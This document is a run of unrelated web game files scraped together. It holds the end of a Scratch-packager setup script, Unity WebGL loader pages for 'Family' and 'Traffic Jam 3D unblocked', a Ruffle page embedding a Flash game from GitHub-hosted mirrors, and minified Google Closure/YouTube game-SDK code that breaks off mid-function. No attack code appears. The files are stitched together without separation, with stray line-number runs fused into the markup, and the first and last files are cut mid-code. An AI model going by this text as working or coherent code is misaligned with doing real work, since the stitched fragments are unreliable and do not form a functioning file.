const scaffolding = new Scaffolding.Scaffolding(); scaffolding.width = 480; scaffolding.height = 360; scaffolding.resizeMode = "preserve-ratio"; scaffolding.editableLists = false; scaffolding.usePackagedRuntime = true; scaffolding.setup(); scaffolding.appendTo(appElement);
const vm = scaffolding.vm; window.scaffolding = scaffolding; window.vm = scaffolding.vm; window.Scratch = { vm, renderer: vm.renderer, audioEngine: vm.runtime.audioEngine, bitmapAdapter: vm.runtime.v2BitmapAdapter, videoProvider: vm.runtime.ioDevices.video.provider };
scaffolding.setUsername("The Best Website Ever".replace(/#/g, () => Math.floor(Math.random() * 10))); scaffolding.setAccentColor("#ff4c4c");
;
vm.setTurboMode(false); if (vm.setInterpolation) vm.setInterpolation(false); if (vm.setFramerate) vm.setFramerate(240); if (vm.renderer.setUseHighQualityRender) vm.renderer.setUseHighQualityRender(false); if (vm.setRuntimeOptions) vm.setRuntimeOptions({ fencing: false, miscLimits: false, maxClones: 9999999999, }); if (vm.setCompilerOptions) vm.setCompilerOptions({ enabled: true, warpTimer: false });
if (typeof ScaffoldingAddons !== 'undefined') { ScaffoldingAddons.run(scaffolding, {"gamepad":false,"pointerlock":false,"specialCloudBehaviors":false,"unsafeCloudBehaviors":false,"pause":false}); }
scaffolding.setExtensionSecurityManager({ getSandboxMode: 'unsandboxed', canLoadExtensionFromProject: (url) => { handleError(new Error('Missing custom extension: ' + url)); return Promise.resolve(false); } }); for (const extension of []) { vm.extensionManager.loadExtensionURL(extension); }
} catch (e) { handleError(e); } </script> <script> const getProjectData = (function() { const storage = scaffolding.storage; storage.onprogress = (total, loaded) => { setProgress(interpolate(0.2, 0.98, loaded / total)); }; storage.addWebStore( [storage.AssetType.ImageVector, storage.AssetType.ImageBitmap, storage.AssetType.Sound], (asset) => new URL('./assets/' + asset.assetId + '.' + asset.dataFormat, location).href ); return () => new Promise((resolve, reject) => { const xhr = new XMLHttpRequest(); xhr.onload = () => { resolve(xhr.response); }; xhr.onerror = () => { if (location.protocol === 'file:') { reject(new Error('Zip environment must be used from a website, not from a file URL.')); } else { reject(new Error('Request to load project data failed.')); } }; xhr.onprogress = (e) => { if (e.lengthComputable) { setProgress(interpolate(0.1, 0.2, e.loaded / e.total)); } }; xhr.responseType = 'arraybuffer'; xhr.open('GET', "./assets/project.json"); xhr.send(); }); })(); </script> <script> const run = async () => { const projectData = await getProjectData(); await scaffolding.loadProject(projectData); setProgress(1); loadingScreen.hidden = true; if (true) { scaffolding.start(); } else { launchScreen.hidden = false; launchScreen.addEventListener('click', () => { launchScreen.hidden = true; scaffolding.start(); }); launchScreen.focus(); } }; run().catch(handleError); </script></body></html>123456789101112131415161718192021222324252627<!DOCTYPE html>
<html lang="en-us"><head><meta charset="utf-8"/><meta content="text/html; charset=utf-8" http-equiv="Content-Type"/><title>Unity WebGL Player | Family</title><link href="TemplateData/favicon.ico" rel="shortcut icon"/><link href="TemplateData/style.css" rel="stylesheet"/><script src="TemplateData/UnityProgress.js"></script><script src="Build/UnityLoader.js"></script><script> var unityInstance = UnityLoader.instantiate("unityContainer", "Build/HTML IEB 2.0_03.json", {onProgress: UnityProgress}); </script></head><body><div class="webgl-content"><div id="unityContainer" style="width: 1920px; height: 1080px"></div><div class="footer"><div class="webgl-logo"></div><div class="fullscreen" onclick="unityInstance.SetFullscreen(1)"></div><div class="title">Family</div></div></div></body></html>
12345678910111213141516171819202122
<!DOCTYPE html><html lang="en-us"><head> <meta charset="utf-8"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Traffic Jam 3D unblocked</title> <link rel="shortcut icon" href="TemplateData/favicon.ico"> <link rel="stylesheet" href="TemplateData/style.css"> <script src="TemplateData/UnityProgress.js"></script> <script src="Build/UnityLoader.js"></script> <script> var gameInstance = UnityLoader.instantiate("gameContainer", "Build/TrafficJam3D-build-4.json", {onProgress: UnityProgress,Module:{onRuntimeInitialized: function() {UnityProgress(gameInstance, "complete")}}}); </script>
</head><body> <div class="webgl-content"> <div id="gameContainer" style="width: 900px; height: 600px; margin: auto"></div> </div></body></html>123456789101112131415<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, shrink-to-fit=no" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/AndreajnRcm4/b398dl2h74v@9a23fbb2373d743a564873251cbb57736ebc1f73/style.css" type="text/css" />
</head>
<body>
<script src="https://cdn.jsdelivr.net/gh/u-cvlassrom-y/google@main/ruffle.js"></script>
<object width="100%" height="100%">
<param name="movie" value="https://rawcdn.githack.com/bubbls/ugss/3eb957d7d5b10de8e9cba751f6a792ca2c355322/tboiwotl-v1.666.swf">
<embed src="https://rawcdn.githack.com/bubbls/ugss/3eb957d7d5b10de8e9cba751f6a792ca2c355322/tboiwotl-v1.666.swf" width="100%" height="100%">
</body>
</html>12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364(function(){'use strict';var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ca=ba(this);function da(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}}function l(a){function b(d){return a.next(d)}function c(d){return a.throw(d)}return new Promise(function(d,e){function f(g){g.done?d(g.value):Promise.resolve(g.value).then(b,c).then(f,e)}f(a.next())})}da("globalThis",function(a){return a||ca});da("Object.values",function(a){return a?a:function(b){var c=[],d;for(d in b)Object.prototype.hasOwnProperty.call(b,d)&&c.push(b[d]);return c}});da("Array.prototype.includes",function(a){return a?a:function(b,c){var d=this;d instanceof String&&(d=String(d));var e=d.length;c=c||0;for(c<0&&(c=Math.max(c+e,0));c<e;c++){var f=d[c];if(f===b||Object.is(f,b))return!0}return!1}});da("Object.entries",function(a){return a?a:function(b){var c=[],d;for(d in b)Object.prototype.hasOwnProperty.call(b,d)&&c.push([d,b[d]]);return c}});function ea(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[Symbol.iterator]=function(){return e};return e}da("Array.prototype.values",function(a){return a?a:function(){return ea(this,function(b,c){return c})}});const fa=()=>{var a=window.getCurrentSdkUrl();if(a!==null){a=new URL(a.origin+a.pathname+"?"+window.getLocationHash().substring(1));if(a.searchParams.has("flags")){let b;window.sdkFlags=(b=a.searchParams.get("flags"))!=null?b:""}if(a.searchParams.has("environment")&&a.searchParams.has("bundle")&&a.searchParams.has("key")&&(a.searchParams.get("environment")!=="prod"||a.searchParams.get("bundle")!=="public"))throw document.write('<script src="'+a.toString()+'">\x3c/script>'),Error("Exiting SDK: Purposefully exiting to load a different SDK version.");}};if(!window.loadYTGame){window.getLocationHash=()=>window.location.hash;const a=document.currentScript.src;window.getCurrentSdkUrl=()=>a!=""?new URL(a):null;window.loadYTGame=fa;fa()}window.enableSendingResourceLoadedEvents=!0;/*
Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var m=this||self;function ha(a){var b=typeof a;return b=="object"&&a!=null||b=="function"}function n(a,b){a=a.split(".");for(var c=m,d;a.length&&(d=a.shift());)a.length||b===void 0?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b}function ia(a){return a}function ka(a,b){function c(){}c.prototype=b.prototype;a.K=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.R=function(d,e,f){for(var g=Array(arguments.length-2),h=2;h<arguments.length;h++)g[h-2]=arguments[h];return b.prototype[e].apply(d,g)}};function la(a){m.setTimeout(()=>{throw a;},0)};var ma,na;a:{for(var oa=["CLOSURE_FLAGS"],pa=m,qa=0;qa<oa.length;qa++)if(pa=pa[oa[qa]],pa==null){na=null;break a}na=pa}var ra=na&&na[610401301];ma=ra!=null?ra:!1;function sa(){var a=m.navigator;return a&&(a=a.userAgent)?a:""}var ta;const ua=m.navigator;ta=ua?ua.userAgentData||null:null;function va(a){return ma?ta?ta.brands.some(({brand:b})=>b&&b.indexOf(a)!=-1):!1:!1}function q(a){return sa().indexOf(a)!=-1};function r(){return ma?!!ta&&ta.brands.length>0:!1}function wa(){return r()?va("Chromium"):(q("Chrome")||q("CriOS"))&&!(r()?0:q("Edge"))||q("Silk")};const xa=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(typeof a==="string")return typeof b!=="string"||b.length!=1?-1:a.indexOf(b,0);for(let c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};function ya(a){ya[" "](a);return a}ya[" "]=function(){};var za=r()?!1:q("Trident")||q("MSIE"),Aa=q("Gecko")&&!(sa().toLowerCase().indexOf("webkit")!=-1&&!q("Edge"))&&!(q("Trident")||q("MSIE"))&&!q("Edge"),Ba=sa().toLowerCase().indexOf("webkit")!=-1&&!q("Edge");!q("Android")||wa();wa();q("Safari")&&(wa()||(r()?0:q("Coast"))||(r()?0:q("Opera"))||(r()?0:q("Edge"))||(r()?va("Microsoft Edge"):q("Edg/"))||r()&&va("Opera"));var Ca={},Da=null;var Ea=typeof Uint8Array!=="undefined",Fa=!za&&typeof btoa==="function";function Ga(a,b){a.__closure__error__context__984382||(a.__closure__error__context__984382={});a.__closure__error__context__984382.severity=b};let Ha=void 0;function Ia(a){a=Error(a);Ga(a,"warning");return a}function Ja(a){if(a!=null){var b;var c=(b=Ha)!=null?b:Ha={};b=c[a]||0;b>=5||(c[a]=b+1,a=Error(),Ga(a,"incident"),la(a))}};var Ka=typeof Symbol==="function"&&typeof Symbol()==="symbol";function t(a,b,c=!1){return typeof Symbol==="function"&&typeof Symbol()==="symbol"?c&&Symbol.for&&a?Symbol.for(a):a!=null?Symbol(a):Symbol():b}var La=t("jas",void 0,!0),Ma=t(void 0,"0di"),Na=t(void 0,"1oa"),Oa=t(void 0,Symbol()),Pa=t(void 0,"0actk"),Qa=t(void 0,"8utk");const u=Ka?La:"N",Ra={N:{value:0,configurable:!0,writable:!0,enumerable:!1}},Sa=Object.defineProperties;function Ta(a,b){Ka||u in a||Sa(a,Ra);a[u]|=b}function v(a,b){Ka||u in a||Sa(a,Ra);a[u]=b}function Ua(a){Ta(a,34);return a}function Va(a,b){v(b,(a|0)&-15615)}function Wa(a,b){v(b,(a|34)&-15581)};function Xa(){return typeof BigInt==="function"};function w(a){return Array.prototype.slice.call(a)};var Za={};function $a(a){return a!==null&&typeof a==="object"&&!Array.isArray(a)&&a.constructor===Object}function ab(a){if(a&2)throw Error();}class bb{constructor(a,b,c){this.g=a;this.h=b;this.i=c}next(){const a=this.g.next();a.done||(a.value=this.h.call(this.i,a.value));return a}[Symbol.iterator](){return this}}function cb(a,b){const c=ia(Oa);(b=c?b[c]:void 0)&&(a[Oa]=w(b))};function db(a){a.U=!0;return a};var eb=db(a=>typeof a==="number"),fb=db(a=>typeof a==="string"),gb=db(a=>typeof a==="boolean");var hb=typeof m.BigInt==="function"&&typeof m.BigInt(0)==="bigint";var nb=db(a=>hb?a>=ib&&a<=jb:a[0]==="-"?kb(a,lb):kb(a,mb));const lb=Number.MIN_SAFE_INTEGER.toString(),ib=hb?BigInt(Number.MIN_SAFE_INTEGER):void 0,mb=Number.MAX_SAFE_INTEGER.toString(),jb=hb?BigInt(Number.MAX_SAFE_INTEGER):void 0;function kb(a,b){if(a.length>b.length)return!1;if(a.length<b.length||a===b)return!0;for(let c=0;c<a.length;c++){const d=a[c],e=b[c];if(d>e)return!1;if(d<e)return!0}};let x=0,y=0;function ob(a){const b=a>>>0;x=b;y=(a-b)/4294967296>>>0}function pb(a){if(a<0){ob(-a);const [b,c]=qb(x,y);x=b>>>0;y=c>>>0}else ob(a)}function rb(a,b){b>>>=0;a>>>=0;if(b<=2097151)var c=""+(4294967296*b+a);else Xa()?c=""+(BigInt(b)<<BigInt(32)|BigInt(a)):(c=(a>>>24|b<<8)&16777215,b=b>>16&65535,a=(a&16777215)+c*6777216+b*6710656,c+=b*8147497,b*=2,a>=1E7&&(c+=a/1E7>>>0,a%=1E7),c>=1E7&&(b+=c/1E7>>>0,c%=1E7),c=b+sb(c)+sb(a));return c}function sb(a){a=String(a);return"0000000".slice(a.length)+a}function qb(a,b){b=~b;a?a=~a+1:b+=1;return[a,b]};const tb=typeof BigInt==="function"?BigInt.asIntN:void 0,ub=Number.isSafeInteger,vb=Number.isFinite,wb=Math.trunc;function xb(a){if(typeof a!=="number")throw Error(`Value of float/double field must be a number, found ${typeof a}: ${a}`);return a}const yb=/^-?([1-9][0-9]*|0)(\.[0-9]+)?$/;function zb(a){switch(typeof a){case "bigint":return!0;case "number":return vb(a);case "string":return yb.test(a);default:return!1}}function z(a){if(a!=null){if(!vb(a))throw Ia("enum");a|=0}return a}function Ab(a){if(typeof a!=="number")throw Ia("int32");if(!vb(a))throw Ia("int32");return a|0}function A(a){return a==null?a:Ab(a)}function Bb(a){if(a==null)return a;if(typeof a==="string"&&a)a=+a;else if(typeof a!=="number")return;return vb(a)?a|0:void 0}function B(a){if(a!=null&&typeof a!=="string")throw Error();return a}function Cb(a){return a==null||typeof a==="string"?a:void 0}function Db(a,b,c,d){if(a!=null&&typeof a==="object"&&a.G===Za)return a;if(!Array.isArray(a))return c?d&2?((a=b[Ma])||(a=new b,Ua(a.l),a=b[Ma]=a),b=a):b=new b:b=void 0,b;let e=c=a[u]|0;e===0&&(e|=d&32);e|=d&2;e!==c&&v(a,e);return new b(a)}function Eb(a,b,c){a=b?Ab(a):Bb(a);return a==null?c?0:void 0:a|0};function Fb(a){return a};const Gb={};let Hb=function(){try{return ya(new class extends Map{constructor(){super()}}),!1}catch(a){return!0}}();class Ib{constructor(){this.g=new Map}get(a){return this.g.get(a)}set(a,b){this.g.set(a,b);this.size=this.g.size;return this}delete(a){a=this.g.delete(a);this.size=this.g.size;return a}clear(){this.g.clear();this.size=this.g.size}has(a){return this.g.has(a)}entries(){return this.g.entries()}keys(){return this.g.keys()}values(){return this.g.values()}forEach(a,b){return this.g.forEach(a,b)}[Symbol.iterator](){return this.entries()}}const Jb=(()=>Hb?(Object.setPrototypeOf(Ib.prototype,Map.prototype),Object.defineProperties(Ib.prototype,{size:{value:0,configurable:!0,enumerable:!0,writable:!0}}),Ib):class extends Map{constructor(){super()}})();function Kb(a){return a}function Lb(a){if(a.B&2)throw Error("Cannot mutate an immutable Map");}var C=class extends Jb{constructor(a,b,c=Kb,d=Kb){super();let e=a[u]|0;e|=64;v(a,e);this.B=e;this.A=b;this.C=c;this.I=this.A?Mb:d;for(let f=0;f<a.length;f++){const g=a[f],h=c(g[0],!1,!0);let k=g[1];b?k===void 0&&(k=null):k=d(g[1],!1,!0,void 0,void 0,e);super.set(h,k)}}P(){var a=Nb;if(this.size!==0)return Array.from(super.entries(),b=>{b[0]=a(b[0]);b[1]=a(b[1]);return b})}L(a=Ob){const b=[],c=super.entries();for(var d;!(d=c.next()).done;)d=d.value,d[0]=a(d[0]),d[1]=a(d[1]),b.push(d);return b}clear(){Lb(this);super.clear()}delete(a){Lb(this);return super.delete(this.C(a,!0,!1))}entries(){if(this.A){var a=super.keys();a=new bb(a,Pb,this)}else a=super.entries();return a}values(){if(this.A){var a=super.keys();a=new bb(a,C.prototype.get,this)}else a=super.values();return a}forEach(a,b){this.A?super.forEach((c,d,e)=>{a.call(b,e.get(d),d,e)}):super.forEach(a,b)}set(a,b){Lb(this);a=this.C(a,!0,!1);return a==null?this:b==null?(super.delete(a),this):super.set(a,this.I(b,!0,!0,this.A,!1,this.B))}has(a){return super.has(this.C(a,!1,!1))}get(a){a=this.C(a,!1,!1);const b=super.get(a);if(b!==void 0){var c=this.A;return c?(c=this.I(b,!1,!0,c,this.S,this.B),c!==b&&super.set(a,c),c):b}}[Symbol.iterator](){return this.entries()}};C.prototype.toJSON=void 0;function Mb(a,b,c,d,e,f){a=Db(a,d,c,f);e&&(a=Qb(a));return a}function Ob(a){return a}function Pb(a){return[a,this.get(a)]}let Rb;function Sb(){return Rb||(Rb=new C(Ua([]),void 0,void 0,void 0,Gb))};function Tb(a,b,c){const d=w(a);var e=d.length;const f=b&256?d[e-1]:void 0;e+=f?-1:0;for(b=b&512?1:0;b<e;b++)d[b]=c(d[b]);if(f){b=d[b]={};for(const g in f)b[g]=c(f[g])}cb(d,a);return d}function Ub(a,b,c,d,e){if(a!=null){if(Array.isArray(a)){const f=a[u]|0;return a.length===0&&f&1?void 0:e&&f&2?a:Vb(a,b,c,d!==void 0,e)}return b(a,d)}}function Vb(a,b,c,d,e){const f=d||c?a[u]|0:0;d=d?!!(f&32):void 0;const g=w(a);let h=0;const k=g.length;for(let L=0;L<k;L++){var p=g[L];if(L===k-1&&$a(p)){var M=b,ja=c,Hd=d,Id=e;let Ya=void 0;for(let Zb in p){const $b=Ub(p[Zb],M,ja,Hd,Id);if($b!=null){let ac;((ac=Ya)!=null?ac:Ya={})[Zb]=$b}}p=Ya}else p=Ub(g[L],b,c,d,e);g[L]=p;p!=null&&(h=L+1)}h<k&&(g.length=h);c&&(cb(g,a),c(f,g));return g}function Nb(a){return Ub(a,Wb,void 0,void 0,!1)}function Wb(a){switch(typeof a){case "number":return Number.isFinite(a)?a:""+a;case "bigint":return nb(a)?Number(a):""+a;case "boolean":return a?1:0;case "object":if(Ea&&a!=null&&a instanceof Uint8Array){Ea&&a!=null&&a instanceof Uint8Array&&Ja(Qa);if(Fa){for(var b="",c=0,d=a.length-10240;c<d;)b+=String.fromCharCode.apply(null,a.subarray(c,c+=10240));b+=String.fromCharCode.apply(null,c?a.subarray(c):a);a=btoa(b)}else{b===void 0&&(b=0);if(!Da){Da={};c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");d=["+/=","+/","-_=","-_.","-_"];for(var e=0;e<5;e++){var f=c.concat(d[e].split(""));Ca[e]=f;for(var g=0;g<f.length;g++){var h=f[g];Da[h]===void 0&&(Da[h]=g)}}}b=Ca[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length-2;f+=3){var k=a[f],p=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|p>>4];p=b[(p&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+p+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}a=c.join("")}return a}if(a.G===Za)return Xb(a);if(a instanceofC)return a.P();return}return a}let Yb;function bc(a){try{return Xb(a)}finally{Yb=void 0}}function Xb(a){var b=a.l;a=Vb(b,Wb,void 0,void 0,!1);var c=b[u]|0;if((b=a.length)&&!(c&512)){var d=a[b-1],e=!1;$a(d)?(b--,e=!0):d=void 0;var f,g=(f=Yb)!=null?f:Fb;f=c&512?0:-1;c=b-f;g=g(c,f,a,d);d&&(a[b]=void 0);if(c<g&&d){c=!0;for(var h in d){const k=+h;k<=g?(e=k+f,a[e]=d[h],b=Math.max(e+1,b),e=!1,delete d[h]):c=!1}c&&(d=void 0)}for(c=b-1;b>0;c=b-1)if(h=a[c],h==null)b--,e=!0;else if(c-=f,c>=g){let k;((k=d)!=null?k:d={})[c]=h;b--;e=!0}else break;e&&(a.length=b);d&&a.push(d)}return a};function cc(){Ja(Pa)};function dc(a,b,c=Wa){if(a!=null){if(Ea&&a instanceof Uint8Array)return b?a:new Uint8Array(a);if(Array.isArray(a)){var d=a[u]|0;if(d&2)return a;b&&(b=d===0||!!(d&32)&&!(d&64||!(d&16)));return b?(v(a,d|34),d&4&&Object.freeze(a),a):Vb(a,dc,d&4?Wa:c,!0,!0)}a.G===Za?(c=a.l,d=c[u]|0,a=d&2?a:new a.constructor(ec(c,d,!0))):a instanceof C&&!(a.B&2)&&(c=Ua(a.L(dc)),a=new C(c,a.A,a.C,a.I));return a}}function ec(a,b,c){const d=c||b&2?Wa:Va,e=!!(b&32);a=Tb(a,b,f=>dc(f,e,d));Ta(a,32|(c?2:0));return a}function Qb(a){const b=a.l,c=b[u]|0;return c&2?new a.constructor(ec(b,c,!1)):a};function D(a,b){a=a.l;return fc(a,a[u]|0,b)}function fc(a,b,c){if(c===-1)return null;const d=c+(b&512?0:-1),e=a.length-1;if(d>=e&&b&256)return a[e][c];if(d<=e)return a[d]}function E(a,b,c){const d=a.l;let e=d[u]|0;ab(e);F(d,e,b,c);return a}function F(a,b,c,d){const e=b&512?0:-1,f=c+e;var g=a.length-1;if(f>=g&&b&256)return a[g][c]=d,b;if(f<=g)return a[f]=d,b;d!==void 0&&(g=b>>14&1023||536870912,c>=g?d!=null&&(a[g+e]={[c]:d},b|=256,v(a,b)):a[f]=d);return b}function gc(a,b,c){return hc(a,b,ic(a,G,c))!==void 0}function jc(a,b){this.set(b,a)}function kc(a,b,c,d){const e=a.l;var f=e[u]|0;ab(f);if(d==null){var g=lc(e);if(mc(g,e,f,c)===b)g.set(c,0);else return a}else{g=lc(e);const h=mc(g,e,f,c);h!==b&&(h&&(f=F(e,f,h)),g.set(c,b))}F(e,f,b,d);return a}function ic(a,b,c){a=a.l;return mc(lc(a),a,a[u]|0,b)===c?c:-1}function lc(a){if(Ka){var b;return(b=a[Na])!=null?b:a[Na]=new Map}if(Na in a)return a[Na];b=new Map;Object.defineProperty(a,Na,{value:b});return b}function mc(a,b,c,d){let e=a.get(d);if(e!=null)return e;e=0;for(let f=0;f<d.length;f++){const g=d[f];fc(b,c,g)!=null&&(e!==0&&(c=F(b,c,e)),e=g)}a.set(d,e);return e}function hc(a,b,c){a=a.l;let d=a[u]|0;const e=fc(a,d,c);b=Db(e,b,!1,d);b!==e&&b!=null&&F(a,d,c,b);return b}function H(a,b,c){c==null&&(c=void 0);return E(a,b,c)}function I(a,b,c,d){d==null&&(d=void 0);return kc(a,b,c,d)}function nc(a,b){let c;return(c=Cb(D(a,b)))!=null?c:""}function oc(a,b){a=D(a,b);a=a==null?a:vb(a)?a|0:void 0;return a!=null?a:0}function J(a,b,c,d){c=ic(a,d,c);b=hc(a,b,c);if(b!=null&&(a=a.l,d=a[u]|0,!(d&2))){const e=Qb(b);e!==b&&(b=e,F(a,d,c,b))}c=b;return c}function K(a,b,c){if(c!=null)a:{if(!zb(c))throw Ia("int64");switch(typeof c){case "string":var d=wb(Number(c));if(ub(d))c=String(d);else if(d=c.indexOf("."),d!==-1&&(c=c.substring(0,d)),d=c.length,!(c[0]==="-"?d<20||d===20&&Number(c.substring(0,7))>-922337:d<19||d===19&&Number(c.substring(0,6))<922337)){if(c.length<16)pb(Number(c));else if(Xa())c=BigInt(c),x=Number(c&BigInt(4294967295))>>>0,y=Number(c>>BigInt(32)&BigInt(4294967295));else{d=+(c[0]==="-");y=x=0;var e=c.length;for(let g=d,h=(e-d)%6+d;h<=e;g=h,h+=6){var f=Number(c.slice(g,h));y*=1E6;x=x*1E6+f;x>=4294967296&&(y+=Math.trunc(x/4294967296),y>>>=0,x>>>=0)}if(d){const [g,h]=qb(x,y);x=g;y=h}}c=x;d=y;if(d&2147483648)if(Xa())c=""+(BigInt(d|0)<<BigInt(32)|BigInt(c>>>0));else{const [g,h]=qb(c,d);c="-"+rb(g,h)}else c=rb(c,d)}break a;case "bigint":d=c=tb(64,c);if(fb(d)){if(!/^\s*(?:-?[1-9]\d*|0)?\s*$/.test(d))throw Error(String(d));}else if(eb(d)&&!Number.isSafeInteger(d))throw Error(String(d));hb?c=BigInt(c):c=gb(c)?c?"1":"0":fb(c)?c.trim()||"0":String(c);break a;default:if(c=wb(c),!ub(c)){pb(c);d=x;e=y;if(c=e&2147483648)d=~d+1>>>0,e=~e>>>0,d==0&&(e=e+1>>>0);f=e*4294967296+(d>>>0);d=Number.isSafeInteger(f)?f:rb(d,e);c=typeof d==="number"?c?-d:d:c?"-"+d:d}}}return E(a,b,c)}function pc(a,b,c){var d=a.l,e=d[u]|0;ab(e);var f=fc(d,e,b);f instanceof C&&!(f instanceof C&&f.B&2)?f.clear():F(d,e,b);if(c){ab(a.l[u]|0);d=c.forEach;var g=a.l,h=g[u]|0;a:{e=g;f=h;var k=fc(g,h,b);h=f&2;g=!1;if(k==null){if(h){b=Sb();break a}k=[]}else if(k.constructor===C){if((k.B&2)==0||h){b=k;break a}k=k.L()}else Array.isArray(k)?g=!!((k[u]|0)&2):k=[];if(h){if(!k.length){b=Sb();break a}g||(g=!0,Ua(k))}else if(g){g=!1;h=w(k);for(k=0;k<h.length;k++){const p=h[k]=w(h[k]);Array.isArray(p[1])&&(p[1]=Ua(p[1]))}k=h}g||((k[u]|0)&64?k[u]&=-33:32&f&&Ta(k,32));g=new C(k,void 0,Eb,Eb);F(e,f,b,g);b=g}d.call(c,jc,b)}return a};var N=class{constructor(a){a:{if(a==null){var b=96;a=[]}else{if(!Array.isArray(a))throw Error("narr");b=a[u]|0;8192&b||!(64&b)||2&b||cc();if(b&1024)throw Error("farr");if(b&64){var c=a;break a}var d=a;b|=64;var e=d.length;if(e){var f=e-1;e=d[f];if($a(e)){b|=256;const g=b&512?0:-1;f-=g;if(f>=1024)throw Error("pvtlmt");for(c in e){const h=+c;h<f&&(d[h+g]=e[c],delete e[c])}b=b&-16760833|(f&1023)<<14}}}v(a,b);c=a}this.l=c}toJSON(){return bc(this)}};N.prototype.G=Za;N.prototype.toString=function(){return this.l.toString()};class qc{constructor(a,b){this.data=a;this.channel=b}};function rc(a){const b=new MessageChannel;sc(b.port1,a);return b}function tc(a,b){sc(a,b);return new uc(a)}class uc{constructor(a){this.h=a}g(a,b,c=[]){b=rc(b);this.h.postMessage(a,[b.port2].concat(c))}}function sc(a,b){b&&(a.onmessage=c=>{var d=c.data;c=tc(c.ports[0]);b(new qc(d,c))})};var vc=function(){if(!m.addEventListener||!Object.defineProperty)return!1;var a=!1,b=Object.defineProperty({},"passive",{get:function(){a=!0}});try{const c=()=>{};m.addEventListener("test",c,b);m.removeEventListener("test",c,b)}catch(c){}return a}();var wc=({destination:a,origin:b,V:c,M:d="ZNWN1d",onMessage:e})=>{if(b==="*")throw Error("Sending to wildcard origin not allowed.");const f=rc(e);a.postMessage(c?{n:d,t:c}:d,b,[f.port2]);return tc(f.port1,e)};var xc=class{constructor(a){this.h=a}g(a,b,c){this.h.g(bc(a),b,c)}},zc=a=>{var b=yc;return c=>{const d=new b(c.data);return a(new qc(d,c.channel))}},Ac=a=>b=>a(new qc(b.data,new xc(b.channel)));/*
Copyright Google LLC SPDX-License-Identifier: Apache-2.0*/let Bc=globalThis.trustedTypes,Cc;function Dc(){let a=null;if(!Bc)return a;try{const b=c=>c;a=Bc.createPolicy("goog#html",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};var Ec=class{constructor(a){this.g=a}toString(){return this.g+""}};function Fc(a){Cc===void 0&&(Cc=Dc());var b=Cc;return new Ec(b?b.createScriptURL(a):a)};function Gc(a,b){var c=a.register;if(b instanceof Ec)b=b.g;else throw Error("");return c.call(a,b,void 0)};function Hc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})}function Ic(a){return a.replace(RegExp("(^|[\\s]+)([a-z])","g"),function(b,c,d){return c+d.toUpperCase()})};function Jc(a,...b){if(b.length===0)return Fc(a[0]);let c=a[0];for(let d=0;d<b.length;d++)c+=encodeURIComponent(b[d])+a[d+1];return Fc(c)};function Kc(a,b){this.type=a;this.target=b}Kc.prototype.g=function(){};function Lc(a){Kc.call(this,a?a.type:"");this.relatedTarget=this.target=null;this.button=this.screenY=this.screenX=this.clientY=this.clientX=0;this.key="";this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1;this.state=null;this.pointerId=0;this.pointerType="";this.h=null;if(a){const b=this.type=a.type,c=a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:null;this.target=a.target||a.srcElement;let d=a.relatedTarget;d||(b=="mouseover"?d=a.fromElement:b=="mouseout"&&(d=a.toElement));this.relatedTarget=d;c?(this.clientX=c.clientX!==void 0?c.clientX:c.pageX,this.clientY=c.clientY!==void 0?c.clientY:c.pageY,this.screenX=c.screenX||0,this.screenY=c.screenY||0):(this.clientX=a.clientX!==void 0?a.clientX:a.pageX,this.clientY=a.clientY!==void 0?a.clientY:a.pageY,this.screenX=a.screenX||0,this.screenY=a.screenY||0);this.button=a.button;this.key=a.key||"";this.ctrlKey=a.ctrlKey;this.altKey=a.altKey;this.shiftKey=a.shiftKey;this.metaKey=a.metaKey;this.pointerId=a.pointerId||0;this.pointerType=a.pointerType;this.state=a.state;this.h=a;a.defaultPrevented&&Lc.K.g.call(this)}}ka(Lc,Kc);Lc.prototype.g=function(){Lc.K.g.call(this);const a=this.h;a.preventDefault?a.preventDefault():a.returnValue=!1};var Mc="closure_listenable_"+(Math.random()*1E6|0);var Nc=0;function Oc(a,b,c,d,e){this.listener=a;this.proxy=null;this.src=b;this.type=c;this.capture=!!d;this.h=e;this.key=++Nc;this.g=this.F=!1}function Pc(a){a.g=!0;a.listener=null;a.proxy=null;a.src=null;a.h=null};function Qc(a){this.src=a;this.g={};this.h=0}Qc.prototype.add=function(a,b,c,d,e){const f=a.toString();a=this.g[f];a||(a=this.g[f]=[],this.h++);var g;a:{for(g=0;g<a.length;++g){const 